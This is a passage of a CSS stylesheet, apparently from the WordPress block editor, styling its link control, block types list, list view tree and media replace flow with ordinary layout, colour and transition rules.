  transform:scale(1);
  transition:transform .1s ease;
  width:26px;
  will-change:transform;
}
.block-editor-global-styles__shadow-indicator:focus{
  border:2px solid #757575;
}
.block-editor-global-styles__shadow-indicator:hover{
  transform:scale(1.2);
}
.block-editor-global-styles__shadow-indicator.unset{
  background:linear-gradient(45deg, #0000 48%, #ddd 0, #ddd 52%, #0000 0);
}

.block-editor-global-styles-advanced-panel__custom-css-input textarea{
  direction:ltr;
  font-family:Menlo,Consolas,monaco,monospace;
}

.block-editor-height-control{
  border:0;
  margin:0;
  padding:0;
}

.block-editor-image-size-control{
  margin-bottom:1em;
}
.block-editor-image-size-control .block-editor-image-size-control__height,.block-editor-image-size-control .block-editor-image-size-control__width{
  margin-bottom:1.115em;
}

.block-editor-block-types-list__list-item{
  display:block;
  margin:0;
  padding:0;
  width:33.33%;
}
.block-editor-block-types-list__list-item.is-synced .components-button.block-editor-block-types-list__item:not(:disabled) .block-editor-block-icon.has-colors{
  color:var(--wp-block-synced-color);
}
.block-editor-block-types-list__list-item.is-synced .components-button.block-editor-block-types-list__item:not(:disabled):hover .block-editor-block-types-list__item-title{
  color:var(--wp-block-synced-color) !important;
  filter:brightness(.95);
}
.block-editor-block-types-list__list-item.is-synced .components-button.block-editor-block-types-list__item:not(:disabled):hover svg{
  color:var(--wp-block-synced-color) !important;
}
.block-editor-block-types-list__list-item.is-synced .components-button.block-editor-block-types-list__item:not(:disabled):after{
  background:var(--wp-block-synced-color);
}

.components-button.block-editor-block-types-list__item{
  align-items:stretch;
  background:#0000;
  border-radius:2px;
  color:#1e1e1e;
  cursor:pointer;
  display:flex;
  flex-direction:column;
  font-size:13px;
  height:auto;
  justify-content:center;
  padding:8px;
  position:relative;
  transition:all .05s ease-in-out;
  width:100%;
  word-break:break-word;
}
@media (prefers-reduced-motion:reduce){
  .components-button.block-editor-block-types-list__item{
    transition-delay:0s;
    transition-duration:0s;
  }
}
.components-button.block-editor-block-types-list__item:disabled{
  cursor:default;
  opacity:.6;
}
.components-button.block-editor-block-types-list__item:not(:disabled):hover .block-editor-block-types-list__item-title{
  color:var(--wp-admin-theme-color) !important;
  filter:brightness(.95);
}
.components-button.block-editor-block-types-list__item:not(:disabled):hover svg{
  color:var(--wp-admin-theme-color) !important;
}
.components-button.block-editor-block-types-list__item:not(:disabled):hover:after{
  background:var(--wp-admin-theme-color);
  border-radius:2px;
  bottom:0;
  content:"";
  left:0;
  opacity:.04;
  pointer-events:none;
  position:absolute;
  right:0;
  top:0;
}
.components-button.block-editor-block-types-list__item:not(:disabled):focus{
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
}
.components-button.block-editor-block-types-list__item:not(:disabled).is-active{
  background:#1e1e1e;
  color:#fff;
  outline:2px solid #0000;
  outline-offset:-2px;
}

.block-editor-block-types-list__item-icon{
  border-radius:2px;
  color:#1e1e1e;
  padding:12px 20px;
  transition:all .05s ease-in-out;
}
@media (prefers-reduced-motion:reduce){
  .block-editor-block-types-list__item-icon{
    transition-delay:0s;
    transition-duration:0s;
  }
}
.block-editor-block-types-list__item-icon .block-editor-block-icon{
  margin-left:auto;
  margin-right:auto;
}
.block-editor-block-types-list__item-icon svg{
  transition:all .15s ease-out;
}
@media (prefers-reduced-motion:reduce){
  .block-editor-block-types-list__item-icon svg{
    transition-delay:0s;
    transition-duration:0s;
  }
}
.block-editor-block-types-list__list-item[draggable=true] .block-editor-block-types-list__item-icon{
  cursor:grab;
}

.block-editor-block-types-list__item-title{
  font-size:12px;
  padding:4px 2px 8px;
}

.show-icon-labels .block-editor-block-inspector__tabs [role=tablist] .components-button.has-icon svg{
  display:none;
}
.show-icon-labels .block-editor-block-inspector__tabs [role=tablist] .components-button.has-icon:before{
  content:attr(aria-label);
}

.block-editor-inspector-controls-tabs__hint{
  align-items:flex-start;
  background:#f0f0f0;
  border-radius:2px;
  color:#1e1e1e;
  display:flex;
  flex-direction:row;
  font-size:13px;
  margin:16px;
}

.block-editor-inspector-controls-tabs__hint-content{
  margin:12px 12px 12px 0;
}

.block-editor-inspector-controls-tabs__hint-dismiss{
  margin:4px 0 4px 4px;
}

.block-editor-inspector-popover-header{
  margin-bottom:16px;
}

[class].block-editor-inspector-popover-header__action{
  height:24px;
}
[class].block-editor-inspector-popover-header__action.has-icon{
  min-width:24px;
  padding:0;
}
[class].block-editor-inspector-popover-header__action:not(.has-icon){
  text-decoration:underline;
}

.items-justified-left{
  justify-content:flex-start;
}

.items-justified-center{
  justify-content:center;
}

.items-justified-right{
  justify-content:flex-end;
}

.items-justified-space-between{
  justify-content:space-between;
}

@keyframes loadingpulse{
  0%{
    opacity:1;
  }
  50%{
    opacity:0;
  }
  to{
    opacity:1;
  }
}
.block-editor-link-control{
  min-width:350px;
  position:relative;
}
.components-popover__content .block-editor-link-control{
  max-width:350px;
  min-width:auto;
  width:90vw;
}
.show-icon-labels .block-editor-link-control .components-button.has-icon svg{
  display:none;
}
.show-icon-labels .block-editor-link-control .components-button.has-icon:before{
  content:attr(aria-label);
}
.show-icon-labels .block-editor-link-control .block-editor-link-control__search-item-top{
  gap:8px;
}
.show-icon-labels .block-editor-link-control .block-editor-link-control__search-item-top .components-button.has-icon{
  min-width:inherit;
  width:min-content;
}

.block-editor-link-control__search-input-wrapper{
  margin-bottom:8px;
  position:relative;
}

.block-editor-link-control__search-input-container,.block-editor-link-control__search-input-wrapper{
  position:relative;
}

.block-editor-link-control__field{
  margin:16px;
}
.block-editor-link-control__field .components-base-control__label{
  color:#1e1e1e;
}
.block-editor-link-control__field input[type=text],.block-editor-link-control__field.block-editor-url-input input[type=text].block-editor-url-input__input{
  border:1px solid #949494;
  border-radius:2px;
  box-shadow:0 0 0 #0000;
  display:block;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:16px;
  height:40px;
  line-height:normal;
  margin:0;
  padding:8px 16px 8px 40px;
  position:relative;
  transition:box-shadow .1s linear;
  width:100%;
}
@media (prefers-reduced-motion:reduce){
  .block-editor-link-control__field input[type=text],.block-editor-link-control__field.block-editor-url-input input[type=text].block-editor-url-input__input{
    transition-delay:0s;
    transition-duration:0s;
  }
}
@media (min-width:600px){
  .block-editor-link-control__field input[type=text],.block-editor-link-control__field.block-editor-url-input input[type=text].block-editor-url-input__input{
    font-size:13px;
    line-height:normal;
  }
}
.block-editor-link-control__field input[type=text]:focus,.block-editor-link-control__field.block-editor-url-input input[type=text].block-editor-url-input__input:focus{
  border-color:var(--wp-admin-theme-color);
  box-shadow:0 0 0 .5px var(--wp-admin-theme-color);
  outline:2px solid #0000;
}
.block-editor-link-control__field input[type=text]::-webkit-input-placeholder,.block-editor-link-control__field.block-editor-url-input input[type=text].block-editor-url-input__input::-webkit-input-placeholder{
  color:#1e1e1e9e;
}
.block-editor-link-control__field input[type=text]::-moz-placeholder,.block-editor-link-control__field.block-editor-url-input input[type=text].block-editor-url-input__input::-moz-placeholder{
  color:#1e1e1e9e;
  opacity:1;
}
.block-editor-link-control__field input[type=text]:-ms-input-placeholder,.block-editor-link-control__field.block-editor-url-input input[type=text].block-editor-url-input__input:-ms-input-placeholder{
  color:#1e1e1e9e;
}
.has-actions .block-editor-link-control__field input[type=text],.has-actions .block-editor-link-control__field.block-editor-url-input input[type=text].block-editor-url-input__input{
  padding-left:16px;
}

.block-editor-link-control__search-error{
  margin:-8px 16px 16px;
}

.block-editor-link-control__search-enter{
  left:19px;
  position:absolute;
  top:3px;
}
.block-editor-link-control__search-enter svg{
  position:relative;
  top:-2px;
}

.block-editor-link-control__search-actions{
  padding:8px 16px 16px;
}

.block-editor-link-control__search-results-wrapper{
  position:relative;
}
.block-editor-link-control__search-results-wrapper:after,.block-editor-link-control__search-results-wrapper:before{
  content:"";
  display:block;
  left:16px;
  pointer-events:none;
  position:absolute;
  right:-1px;
  z-index:100;
}
.block-editor-link-control__search-results-wrapper:before{
  bottom:auto;
  height:8px;
  top:0;
}
.block-editor-link-control__search-results-wrapper:after{
  bottom:0;
  height:16px;
  top:auto;
}

.block-editor-link-control__search-results{
  margin-top:-16px;
  max-height:200px;
  overflow-y:auto;
  padding:8px;
}
.block-editor-link-control__search-results.is-loading{
  opacity:.2;
}

.block-editor-link-control__search-item.components-button.components-menu-item__button{
  height:auto;
  text-align:right;
}
.block-editor-link-control__search-item .components-menu-item__item{
  display:inline-block;
  overflow:hidden;
  text-overflow:ellipsis;
  width:100%;
}
.block-editor-link-control__search-item .components-menu-item__item mark{
  background-color:initial;
  color:inherit;
  font-weight:600;
}
.block-editor-link-control__search-item .components-menu-item__shortcut{
  color:#757575;
  text-transform:capitalize;
  white-space:nowrap;
}
.block-editor-link-control__search-item[aria-selected]{
  background:#f0f0f0;
}
.block-editor-link-control__search-item.is-current{
  background:#0000;
  border:0;
  cursor:default;
  flex-direction:column;
  padding:16px;
  width:100%;
}
.block-editor-link-control__search-item .block-editor-link-control__search-item-header{
  align-items:center;
  display:block;
  flex-direction:row;
  gap:8px;
  margin-left:8px;
  overflow-wrap:break-word;
  white-space:pre-wrap;
}
.block-editor-link-control__search-item .block-editor-link-control__search-item-header .block-editor-link-control__search-item-info{
  color:#757575;
  font-size:12px;
  line-height:1.1;
  word-break:break-all;
}
.block-editor-link-control__search-item.is-preview .block-editor-link-control__search-item-header{
  display:flex;
  flex:1;
}
.block-editor-link-control__search-item.is-error .block-editor-link-control__search-item-header{
  align-items:center;
}
.block-editor-link-control__search-item.is-url-title .block-editor-link-control__search-item-title{
  word-break:break-all;
}
.block-editor-link-control__search-item .block-editor-link-control__search-item-details{
  display:flex;
  flex-direction:column;
  gap:4px;
  justify-content:space-between;
}
.block-editor-link-control__search-item .block-editor-link-control__search-item-header .block-editor-link-control__search-item-icon{
  background-color:#f0f0f0;
  border-radius:2px;
  height:32px;
  width:32px;
}
.block-editor-link-control__search-item .block-editor-link-control__search-item-icon{
  align-items:center;
  display:flex;
  flex-shrink:0;
  justify-content:center;
  position:relative;
}
.block-editor-link-control__search-item .block-editor-link-control__search-item-icon img{
  width:16px;
}
.block-editor-link-control__search-item.is-error .block-editor-link-control__search-item-icon{
  max-height:32px;
  top:0;
  width:32px;
}
.block-editor-link-control__search-item .block-editor-link-control__search-item-title{
  border-radius:2px;
  line-height:1.1;
}
.block-editor-link-control__search-item .block-editor-link-control__search-item-title:focus{
  box-shadow:none;
}
.block-editor-link-control__search-item .block-editor-link-control__search-item-title:focus-visible{
  box-shadow:inset 0 0 0 1px var(--wp-components-color-background, #fff), 0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  outline:2px solid #0000;
  text-decoration:none;
}
.block-editor-link-control__search-item .block-editor-link-control__search-item-title mark{
  background-color:initial;
  color:inherit;
  font-weight:600;
}
.block-editor-link-control__search-item .block-editor-link-control__search-item-title span{
  font-weight:400;
}
.block-editor-link-control__search-item .block-editor-link-control__search-item-title svg{
  display:none;
}

.block-editor-link-control__search-item-top{
  align-items:center;
  display:flex;
  flex-direction:row;
  width:100%;
}

.block-editor-link-control__search-item.is-fetching .block-editor-link-control__search-item-icon img,.block-editor-link-control__search-item.is-fetching .block-editor-link-control__search-item-icon svg{
  opacity:0;
}
.block-editor-link-control__search-item.is-fetching .block-editor-link-control__search-item-icon:before{
  animation:loadingpulse 1s linear infinite;
  animation-delay:.5s;
  background-color:#f0f0f0;
  border-radius:100%;
  bottom:0;
  content:"";
  display:block;
  left:0;
  position:absolute;
  right:0;
  top:0;
}

.block-editor-link-control__loading{
  align-items:center;
  display:flex;
  margin:16px;
}
.block-editor-link-control__loading .components-spinner{
  margin-top:0;
}

.components-button+.block-editor-link-control__search-create{
  overflow:visible;
  padding:12px 16px;
}
.components-button+.block-editor-link-control__search-create:before{
  content:"";
  display:block;
  position:absolute;
  right:0;
  top:-10px;
  width:100%;
}

.block-editor-link-control__search-create{
  align-items:center;
}
.block-editor-link-control__search-create .block-editor-link-control__search-item-title{
  margin-bottom:0;
}
.block-editor-link-control__search-create .block-editor-link-control__search-item-icon{
  top:0;
}

.block-editor-link-control__drawer-inner{
  display:flex;
  flex-basis:100%;
  flex-direction:column;
  position:relative;
}

.block-editor-link-control__setting{
  flex:1;
  margin-bottom:0;
  padding:8px 24px 8px 0;
}
.block-editor-link-control__setting .components-base-control__field{
  display:flex;
}
.block-editor-link-control__setting .components-base-control__field .components-checkbox-control__label{
  color:#1e1e1e;
}
.block-editor-link-control__setting input{
  margin-right:0;
}
.is-preview .block-editor-link-control__setting{
  padding:20px 0 8px 8px;
}

.block-editor-link-control__tools{
  margin-top:-16px;
  padding:8px 8px 0;
}
.block-editor-link-control__tools .components-button.block-editor-link-control__drawer-toggle{
  gap:0;
  padding-right:0;
}
.block-editor-link-control__tools .components-button.block-editor-link-control__drawer-toggle[aria-expanded=true]{
  color:#1e1e1e;
}
.block-editor-link-control__tools .components-button.block-editor-link-control__drawer-toggle[aria-expanded=true] svg{
  transform:rotate(-90deg);
  transition:transform .1s ease;
  visibility:visible;
}
@media (prefers-reduced-motion:reduce){
  .block-editor-link-control__tools .components-button.block-editor-link-control__drawer-toggle[aria-expanded=true] svg{
    transition-delay:0s;
    transition-duration:0s;
  }
}
.block-editor-link-control__tools .components-button.block-editor-link-control__drawer-toggle[aria-expanded=false] svg{
  transform:rotate(0deg);
  transition:transform .1s ease;
  visibility:visible;
}
@media (prefers-reduced-motion:reduce){
  .block-editor-link-control__tools .components-button.block-editor-link-control__drawer-toggle[aria-expanded=false] svg{
    transition-delay:0s;
    transition-duration:0s;
  }
}

.block-editor-link-control .block-editor-link-control__search-input .components-spinner{
  display:block;
}
.block-editor-link-control .block-editor-link-control__search-input .components-spinner.components-spinner{
  bottom:auto;
  left:40px;
  position:absolute;
  right:auto;
  top:calc(50% - 8px);
}

.block-editor-link-control .block-editor-link-control__search-input-wrapper.has-actions .components-spinner{
  left:12px;
  top:calc(50% + 4px);
}

.block-editor-list-view-tree{
  border-collapse:collapse;
  margin:0;
  padding:0;
  width:100%;
}
.components-modal__content .block-editor-list-view-tree{
  margin:-12px -6px 0;
  width:calc(100% + 12px);
}
.block-editor-list-view-tree.is-dragging tbody{
  pointer-events:none;
}

.block-editor-list-view-leaf{
  position:relative;
  transform:translateY(0);
}
.block-editor-list-view-leaf.is-draggable,.block-editor-list-view-leaf.is-draggable .block-editor-list-view-block-contents{
  cursor:grab;
}
.block-editor-list-view-leaf .block-editor-list-view-block-select-button[aria-expanded=true]{
  color:inherit;
}
.block-editor-list-view-leaf .block-editor-list-view-block-select-button:hover{
  color:var(--wp-admin-theme-color);
}
.is-dragging-components-draggable .block-editor-list-view-leaf:not(.is-selected) .block-editor-list-view-block-select-button:hover{
  color:inherit;
}
.block-editor-list-view-leaf.is-selected td{
  background:var(--wp-admin-theme-color);
}
.block-editor-list-view-leaf.is-selected.is-synced td{
  background:var(--wp-block-synced-color);
}
.block-editor-list-view-leaf.is-synced:not(.is-selected) .block-editor-list-view-block-contents .block-editor-block-icon,.block-editor-list-view-leaf.is-synced:not(.is-selected) .block-editor-list-view-block-contents:focus,.block-editor-list-view-leaf.is-synced:not(.is-selected) .block-editor-list-view-block-contents:hover{
  color:var(--wp-block-synced-color);
}
.block-editor-list-view-leaf.is-synced:not(.is-selected) .block-editor-list-view-block-contents:focus:after{
  box-shadow:inset 0 0 0 1px #fff, 0 0 0 var(--wp-admin-border-width-focus) var(--wp-block-synced-color);
}
.block-editor-list-view-leaf.is-selected .block-editor-list-view-block-contents,.block-editor-list-view-leaf.is-selected .components-button.has-icon{
  color:#fff;
}
.block-editor-list-view-leaf.is-selected .block-editor-list-view-block-contents:focus:after{
  box-shadow:inset 0 0 0 1px #fff, 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
}
.block-editor-list-view-leaf.is-selected.is-synced .block-editor-list-view-block-contents:focus:after{
  box-shadow:inset 0 0 0 1px #fff, 0 0 0 var(--wp-admin-border-width-focus) var(--wp-block-synced-color);
}
.block-editor-list-view-leaf.is-selected .block-editor-list-view-block__menu:focus{
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) #fff;
}
.block-editor-list-view-leaf.is-first-selected td:first-child{
  border-top-right-radius:2px;
}
.block-editor-list-view-leaf.is-first-selected td:last-child{
  border-top-left-radius:2px;
}
.block-editor-list-view-leaf.is-last-selected td:first-child{
  border-bottom-right-radius:2px;
}
.block-editor-list-view-leaf.is-last-selected td:last-child{
  border-bottom-left-radius:2px;
}
.block-editor-list-view-leaf.is-branch-selected:not(.is-selected):not(.is-synced-branch){
  background:rgba(var(--wp-admin-theme-color--rgb), .04);
}
.block-editor-list-view-leaf.is-synced-branch.is-branch-selected{
  background:rgba(var(--wp-block-synced-color--rgb), .04);
}
.block-editor-list-view-leaf.is-branch-selected.is-first-selected td:first-child{
  border-top-right-radius:2px;
}
.block-editor-list-view-leaf.is-branch-selected.is-first-selected td:last-child{
  border-top-left-radius:2px;
}
.block-editor-list-view-leaf[data-expanded=false].is-branch-selected.is-first-selected td:first-child{
  border-top-right-radius:2px;
}
.block-editor-list-view-leaf[data-expanded=false].is-branch-selected.is-first-selected td:last-child{
  border-top-left-radius:2px;
}
.block-editor-list-view-leaf[data-expanded=false].is-branch-selected.is-last-selected td:first-child{
  border-bottom-right-radius:2px;
}
.block-editor-list-view-leaf[data-expanded=false].is-branch-selected.is-last-selected td:last-child{
  border-bottom-left-radius:2px;
}
.block-editor-list-view-leaf.is-branch-selected:not(.is-selected) td{
  border-radius:0;
}
.block-editor-list-view-leaf.is-displacement-normal{
  transform:translateY(0);
  transition:transform .2s;
}
@media (prefers-reduced-motion:reduce){
  .block-editor-list-view-leaf.is-displacement-normal{
    transition-delay:0s;
    transition-duration:0s;
  }
}
.block-editor-list-view-leaf.is-displacement-up{
  transform:translateY(-36px);
  transition:transform .2s;
}
@media (prefers-reduced-motion:reduce){
  .block-editor-list-view-leaf.is-displacement-up{
    transition-delay:0s;
    transition-duration:0s;
  }
}
.block-editor-list-view-leaf.is-displacement-down{
  transform:translateY(36px);
  transition:transform .2s;
}
@media (prefers-reduced-motion:reduce){
  .block-editor-list-view-leaf.is-displacement-down{
    transition-delay:0s;
    transition-duration:0s;
  }
}
.block-editor-list-view-leaf.is-after-dragged-blocks{
  transform:translateY(calc(var(--wp-admin--list-view-dragged-items-height, 36px)*-1));
  transition:transform .2s;
}
@media (prefers-reduced-motion:reduce){
  .block-editor-list-view-leaf.is-after-dragged-blocks{
    transition-delay:0s;
    transition-duration:0s;
  }
}
.block-editor-list-view-leaf.is-after-dragged-blocks.is-displacement-up{
  transform:translateY(calc(-36px + var(--wp-admin--list-view-dragged-items-height, 36px)*-1));
  transition:transform .2s;
}
@media (prefers-reduced-motion:reduce){
  .block-editor-list-view-leaf.is-after-dragged-blocks.is-displacement-up{
    transition-delay:0s;
    transition-duration:0s;
  }
}
.block-editor-list-view-leaf.is-after-dragged-blocks.is-displacement-down{
  transform:translateY(calc(36px + var(--wp-admin--list-view-dragged-items-height, 36px)*-1));
  transition:transform .2s;
}
@media (prefers-reduced-motion:reduce){
  .block-editor-list-view-leaf.is-after-dragged-blocks.is-displacement-down{
    transition-delay:0s;
    transition-duration:0s;
  }
}
.block-editor-list-view-leaf.is-dragging{
  opacity:0;
  pointer-events:none;
  right:0;
  z-index:-9999;
}
.block-editor-list-view-leaf .block-editor-list-view-block-contents{
  align-items:center;
  border-radius:2px;
  display:flex;
  height:auto;
  padding:6px 0 6px 4px;
  position:relative;
  text-align:right;
  white-space:nowrap;
  width:100%;
}
.block-editor-list-view-leaf .block-editor-list-view-block-contents.is-dropping-before:before{
  border-top:4px solid var(--wp-admin-theme-color);
  content:"";
  left:0;
  pointer-events:none;
  position:absolute;
  right:0;
  top:-2px;
  transition:border-color .1s linear,border-style .1s linear,box-shadow .1s linear;
}
.components-modal__content .block-editor-list-view-leaf .block-editor-list-view-block-contents{
  padding-left:0;
  padding-right:0;
}
.block-editor-list-view-leaf .block-editor-list-view-block-contents:focus,.block-editor-list-view-leaf.is-nesting .block-editor-list-view-block-contents{
  box-shadow:none;
}
.block-editor-list-view-leaf .block-editor-list-view-block-contents:focus:after,.block-editor-list-view-leaf.is-nesting .block-editor-list-view-block-contents:after{
  border-radius:inherit;
  bottom:0;
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  content:"";
  left:-29px;
  pointer-events:none;
  position:absolute;
  right:0;
  top:0;
  z-index:2;
}
.block-editor-list-view-leaf.has-single-cell .block-editor-list-view-block-contents:focus:after{
  left:0;
}
.block-editor-list-view-leaf .block-editor-list-view-block__menu:focus,.block-editor-list-view-leaf.is-nesting .block-editor-list-view__menu{
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  z-index:1;
}
.block-editor-list-view-leaf.is-visible .block-editor-list-view-block-contents{
  animation:edit-post__fade-in-animation .2s ease-out 0s;
  animation-fill-mode:forwards;
  opacity:1;
}
@media (prefers-reduced-motion:reduce){
  .block-editor-list-view-leaf.is-visible .block-editor-list-view-block-contents{
    animation-delay:0s;
    animation-duration:1ms;
  }
}
.block-editor-list-view-leaf .block-editor-block-icon{
  flex:0 0 24px;
  margin-left:8px;
}
.block-editor-list-view-leaf .block-editor-list-view-block__contents-cell,.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell,.block-editor-list-view-leaf .block-editor-list-view-block__mover-cell{
  padding-bottom:0;
  padding-top:0;
}
.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell,.block-editor-list-view-leaf .block-editor-list-view-block__mover-cell{
  line-height:0;
  vertical-align:middle;
  width:36px;
}
.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell>*,.block-editor-list-view-leaf .block-editor-list-view-block__mover-cell>*{
  opacity:0;
}
.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell.is-visible>*,.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell:focus-within>*,.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell:hover>*,.block-editor-list-view-leaf .block-editor-list-view-block__mover-cell.is-visible>*,.block-editor-list-view-leaf .block-editor-list-view-block__mover-cell:focus-within>*,.block-editor-list-view-leaf .block-editor-list-view-block__mover-cell:hover>*{
  opacity:1;
}
.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell,.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell .components-button.has-icon,.block-editor-list-view-leaf .block-editor-list-view-block__mover-cell,.block-editor-list-view-leaf .block-editor-list-view-block__mover-cell .components-button.has-icon{
  min-width:24px;
  padding:0;
  width:24px;
}
.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell{
  padding-left:4px;
}
.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell .components-button.has-icon{
  height:24px;
}
.block-editor-list-view-leaf .block-editor-list-view-block__mover-cell-alignment-wrapper{
  align-items:center;
  display:flex;
  flex-direction:column;
  height:100%;
}
.block-editor-list-view-leaf .block-editor-block-mover-button{
  height:24px;
  position:relative;
  width:36px;
}
.block-editor-list-view-leaf .block-editor-block-mover-button svg{
  height:24px;
  position:relative;
}
.block-editor-list-view-leaf .block-editor-block-mover-button.is-up-button{
  align-items:flex-end;
  margin-top:-6px;
}
.block-editor-list-view-leaf .block-editor-block-mover-button.is-up-button svg{
  bottom:-4px;
}
.block-editor-list-view-leaf .block-editor-block-mover-button.is-down-button{
  align-items:flex-start;
  margin-bottom:-6px;
}
.block-editor-list-view-leaf .block-editor-block-mover-button.is-down-button svg{
  top:-4px;
}
.block-editor-list-view-leaf .block-editor-block-mover-button:before{
  height:16px;
  left:0;
  min-width:100%;
  right:0;
}
.block-editor-list-view-leaf .block-editor-inserter__toggle{
  background:#1e1e1e;
  color:#fff;
  height:24px;
  margin:6px 1px 6px 6px;
  min-width:24px;
}
.block-editor-list-view-leaf .block-editor-inserter__toggle:active{
  color:#fff;
}
.block-editor-list-view-leaf .block-editor-list-view-block-select-button__label-wrapper{
  min-width:120px;
}
.block-editor-list-view-leaf .block-editor-list-view-block-select-button__title{
  flex:1;
  position:relative;
}
.block-editor-list-view-leaf .block-editor-list-view-block-select-button__title .components-truncate{
  position:absolute;
  transform:translateY(-50%);
  width:100%;
}
.block-editor-list-view-leaf .block-editor-list-view-block-select-button__anchor-wrapper{
  max-width:min(110px, 40%);
  position:relative;
  width:100%;
}
.block-editor-list-view-leaf .block-editor-list-view-block-select-button__anchor{
  background:#0000001a;
  border-radius:2px;
  box-sizing:border-box;
  left:0;
  max-width:100%;
  padding:2px 6px;
  position:absolute;
  transform:translateY(-50%);
}
.block-editor-list-view-leaf.is-selected .block-editor-list-view-block-select-button__anchor{
  background:#0000004d;
}
.block-editor-list-view-leaf .block-editor-list-view-block-select-button__lock{
  line-height:0;
}
.block-editor-list-view-leaf .block-editor-list-view-block-select-button__images{
  display:flex;
}
.block-editor-list-view-leaf .block-editor-list-view-block-select-button__image{
  background-size:cover;
  border-radius:2px;
  height:18px;
  width:18px;
}
.block-editor-list-view-leaf .block-editor-list-view-block-select-button__image:not(:only-child){
  box-shadow:0 0 0 2px #fff;
}
.block-editor-list-view-leaf .block-editor-list-view-block-select-button__image:not(:first-child){
  margin-right:-6px;
}
.block-editor-list-view-leaf.is-selected .block-editor-list-view-block-select-button__image:not(:only-child){
  box-shadow:0 0 0 2px var(--wp-admin-theme-color);
}

.block-editor-list-view-draggable-chip{
  opacity:.8;
}

.block-editor-list-view-appender__cell .block-editor-list-view-appender__container,.block-editor-list-view-appender__cell .block-editor-list-view-block__contents-container,.block-editor-list-view-block__contents-cell .block-editor-list-view-appender__container,.block-editor-list-view-block__contents-cell .block-editor-list-view-block__contents-container{
  display:flex;
}

.block-editor-list-view__expander{
  cursor:pointer;
  height:24px;
  margin-right:4px;
  width:24px;
}

.block-editor-list-view-leaf[aria-level] .block-editor-list-view__expander{
  margin-right:220px;
}

.block-editor-list-view-leaf:not([aria-level="1"]) .block-editor-list-view__expander{
  margin-left:4px;
}

.block-editor-list-view-leaf[aria-level="1"] .block-editor-list-view__expander{
  margin-right:0;
}

.block-editor-list-view-leaf[aria-level="2"] .block-editor-list-view__expander{
  margin-right:24px;
}

.block-editor-list-view-leaf[aria-level="3"] .block-editor-list-view__expander{
  margin-right:52px;
}

.block-editor-list-view-leaf[aria-level="4"] .block-editor-list-view__expander{
  margin-right:80px;
}

.block-editor-list-view-leaf[aria-level="5"] .block-editor-list-view__expander{
  margin-right:108px;
}

.block-editor-list-view-leaf[aria-level="6"] .block-editor-list-view__expander{
  margin-right:136px;
}

.block-editor-list-view-leaf[aria-level="7"] .block-editor-list-view__expander{
  margin-right:164px;
}

.block-editor-list-view-leaf[aria-level="8"] .block-editor-list-view__expander{
  margin-right:192px;
}

.block-editor-list-view-leaf .block-editor-list-view__expander{
  visibility:hidden;
}

.block-editor-list-view-leaf[data-expanded=true] .block-editor-list-view__expander svg{
  transform:rotate(-90deg);
  transition:transform .2s ease;
  visibility:visible;
}
@media (prefers-reduced-motion:reduce){
  .block-editor-list-view-leaf[data-expanded=true] .block-editor-list-view__expander svg{
    transition-delay:0s;
    transition-duration:0s;
  }
}

.block-editor-list-view-leaf[data-expanded=false] .block-editor-list-view__expander svg{
  transform:rotate(0deg);
  transition:transform .2s ease;
  visibility:visible;
}
@media (prefers-reduced-motion:reduce){
  .block-editor-list-view-leaf[data-expanded=false] .block-editor-list-view__expander svg{
    transition-delay:0s;
    transition-duration:0s;
  }
}

.block-editor-list-view-drop-indicator{
  pointer-events:none;
}
.block-editor-list-view-drop-indicator .block-editor-list-view-drop-indicator__line{
  background:var(--wp-admin-theme-color);
  border-radius:4px;
  height:4px;
}

.block-editor-list-view-drop-indicator--preview{
  pointer-events:none;
}
.block-editor-list-view-drop-indicator--preview .components-popover__content{
  overflow:hidden !important;
}
.block-editor-list-view-drop-indicator--preview .block-editor-list-view-drop-indicator__line{
  background:rgba(var(--wp-admin-theme-color--rgb), .04);
  border-radius:4px;
  height:36px;
  overflow:hidden;
}
.block-editor-list-view-drop-indicator--preview .block-editor-list-view-drop-indicator__line--darker{
  background:rgba(var(--wp-admin-theme-color--rgb), .09);
}

.block-editor-list-view-placeholder{
  height:36px;
  margin:0;
  padding:0;
}

.list-view-appender .block-editor-inserter__toggle{
  background-color:#1e1e1e;
  border-radius:2px;
  color:#fff;
  height:24px;
  margin:8px 24px 0 0;
  min-width:24px;
  padding:0;
}
.list-view-appender .block-editor-inserter__toggle:focus,.list-view-appender .block-editor-inserter__toggle:hover{
  background:var(--wp-admin-theme-color);
  color:#fff;
}

.list-view-appender__description{
  display:none;
}

.block-editor-list-view-block-select-button__bindings svg g{
  stroke:var(--wp-bound-block-color);
  fill:#0000;
  stroke-width:1.5;
  stroke-linecap:round;
  stroke-linejoin:round;
}

.modal-open .block-editor-media-replace-flow__options{
  display:none;
}

.block-editor-media-replace-flow__indicator{
  margin-right:4px;
}

.block-editor-media-flow__url-input{
  margin-left:-8px;
  margin-right:-8px;
  padding:16px;
}
.block-editor-media-flow__url-input.has-siblings{
  border-top:1px solid #1e1e1e;
  margin-top:8px;
  padding-bottom:8px;
}
.block-editor-media-flow__url-input .block-editor-media-replace-flow__image-url-label{
  display:block;
  margin-bottom:8px;
  top:16px;
}
.block-editor-media-flow__url-input .block-editor-link-control{
  width:300px;
}
.block-editor-media-flow__url-input .block-editor-link-control .block-editor-url-input{
  margin:0;
  padding:0;
}
.block-editor-media-flow__url-input .block-editor-link-control .block-editor-link-control__search-item-info,.block-editor-media-flow__url-input .block-editor-link-control .block-editor-link-control__search-item-title{
  max-width:200px;
  white-space:nowrap;
}
